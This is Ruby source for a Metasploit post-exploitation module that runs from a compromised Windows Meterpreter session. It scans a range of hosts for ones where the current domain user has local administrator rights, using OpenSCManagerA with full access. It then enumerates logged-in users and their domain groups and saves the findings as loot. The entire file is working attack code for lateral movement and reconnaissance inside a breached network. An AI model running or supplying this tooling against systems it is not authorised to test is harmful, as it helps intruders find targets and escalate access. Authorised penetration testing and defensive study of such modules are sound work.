## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Local Admin Search', 'Description' => %q{ This module will identify systems in a given range that the supplied domain user (should migrate into a user pid) has administrative access to by using the Windows API OpenSCManagerA to establishing a handle to the remote host. Additionally it can enumerate logged in users and group membership via Windows API NetWkstaUserEnum and NetUserGetGroups. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon McCann "zeknox" ', 'Thomas McCarthy "smilingraccoon" ', 'Royce Davis "r3dy" ' ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_railgun_api stdapi_railgun_memread stdapi_sys_config_getuid ] } } ) ) register_options( [ OptBool.new('ENUM_USERS', [ true, 'Enumerates logged on users.', true]), OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]), OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for']), OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups']) ] ) end def setup super # This datastore option can be modified during runtime. # Saving it here so the modified value remains with this module. @domain_controller = datastore['DOMAIN_CONTROLLER'] if is_system? # running as SYSTEM and will not pass any network credentials print_error 'Running as SYSTEM, module should be run with USER level rights' return else @adv = client.railgun.advapi32 # Get domain and domain controller if options left blank if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty? user = client.sys.config.getuid datastore['DOMAIN'] = user.split('\\')[0] end if @domain_controller.nil? && datastore['ENUM_GROUPS'] @dc_error = false # Uses DC which applied policy since it would be a DC this device normally talks to cmd = 'gpresult /SCOPE COMPUTER' # If Vista/2008 or later add /R version = get_version_info if version.build_number >= Msf::WindowsVersion::Vista_SP0 cmd << ' /R' end res = cmd_exec('cmd.exe', "/c #{cmd}") # Check if RSOP data exists, if not disable group check if res =~ /does not have RSOP data./ @dc_error = true print_error('User never logged into device, will not enumerate users and groups. Manually specify DC.') else dc_applied = /Group Policy was applied from:\s*(.*)\s*/.match(res) if dc_applied @domain_controller = dc_applied[1].strip else @dc_error = true print_error('Could not read RSOP data, will not enumerate users and groups. Manually specify DC.') end end end end end # main control method def run_host(ip) connect(ip) end # http://msdn.microsoft.com/en-us/library/windows/desktop/aa370669(v=vs.85).aspx # enumerate logged in users def enum_users(host) userlist = Array.new begin # Connect to host and enumerate logged in users winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil) rescue ::Exception print_error("Issue enumerating users on #{host}") return userlist end return userlist if winsessions.nil? count = winsessions['totalentries'] * 2 startmem = winsessions['bufptr'] base = 0 userlist = Array.new begin mem = client.railgun.memread(startmem, 8 * count) rescue ::Exception => e print_error("Issue reading memory for #{host}") vprint_error(e.to_s) return userlist end # For each entry returned, get domain and name of logged in user begin count.times do |_i| temp = {} userptr = mem[(base + 0), 4].unpack('V*')[0] temp[:user] = client.railgun.memread(userptr, 255).split("\0\0")[0].split("\0").join nameptr = mem[(base + 4), 4].unpack('V*')[0] temp[:domain] = client.railgun.memread(nameptr, 255).split("\0\0")[0].split("\0").join # Ignore if empty or machine account unless temp[:user].empty? || (temp[:user][-1, 1] == '$') # Check if enumerated user's domain matches supplied domain, if there was # an error, or if option disabled data = '' if (datastore['DOMAIN'].upcase == temp[:domain].upcase) && !@dc_error && datastore['ENUM_GROUPS'] data << " - Groups: #{enum_groups(temp[:user]).chomp(', ')}" end line = "\tLogged in user:\t#{temp[:domain]}\\#{temp[:user]}#{data}\n" # Write user and groups to notes database db_note(host, "#{temp[:domain]}\\#{temp[:user]}#{data}", 'localadmin.user.loggedin') userlist << line unless userlist.include? line end base += 8 end rescue ::Exception => e print_error("Issue enumerating users on #{host}") vprint_error(e.backtrace) end return userlist end # http://msdn.microsoft.com/en-us/library/windows/desktop/aa370653(v=vs.85).aspx # Enumerate groups for identified users def enum_groups(user) grouplist = '' dc = "\\\\#{@domain_controller}" begin # Connect to DC and enumerate groups of user usergroups = client.railgun.netapi32.NetUserGetGroups(dc, user, 0, 4, -1, 4, 4) rescue ::Exception => e print_error('Issue connecting to DC, try manually setting domain and DC') vprint_error(e.to_s) return grouplist end count = usergroups['totalentries'] startmem = usergroups['bufptr'] base = 0 begin mem = client.railgun.memread(startmem, 8 * count) rescue ::Exception => e print_error("Issue reading memory for groups for user #{user}") vprint_error(e.to_s) return grouplist end begin # For each entry returned, get group count.to_i.times do |i| temp = {} groupptr = mem[(base + 0), 4].unpack('V*')[0] temp[:group] = client.railgun.memread(groupptr, 255).split("\0\0")[0].split("\0").join # Add group to string to be returned grouplist << "#{temp[:group]}, " if (i % 5) == 2 grouplist << "\n\t- " end base += 4 end rescue ::Exception => e print_error("Issue enumerating groups for user #{user}, check domain") vprint_error(e.backtrace) return grouplist end return grouplist.chomp("\n\t- ") end # http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx # method to connect to remote host using windows api def connect(host) if @adv.nil? return end user = client.sys.config.getuid # use railgun and OpenSCManagerA api to connect to remote host manag = @adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS if (manag['return'] != 0) # we have admin rights result = "#{host.ljust(16)} #{user} - Local admin found\n" # Run enumerate users on all hosts if option was set if datastore['ENUM_USERS'] enum_users(host).each do |i| result << i end end # close the handle if connection was made @adv.CloseServiceHandle(manag['return']) # Append data to loot table within database print_good(result.chomp("\n")) unless result.nil? db_loot(host, user, 'localadmin.user') else # we dont have admin rights print_error("#{host.ljust(16)} #{user} - No Local Admin rights") end end # Write to notes database def db_note(host, data, type) report_note( type: type, data: data, host: host, update: :unique_data ) end # Write to loot database def db_loot(host, user, type) p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user) vprint_good("User data stored in: #{p}") end end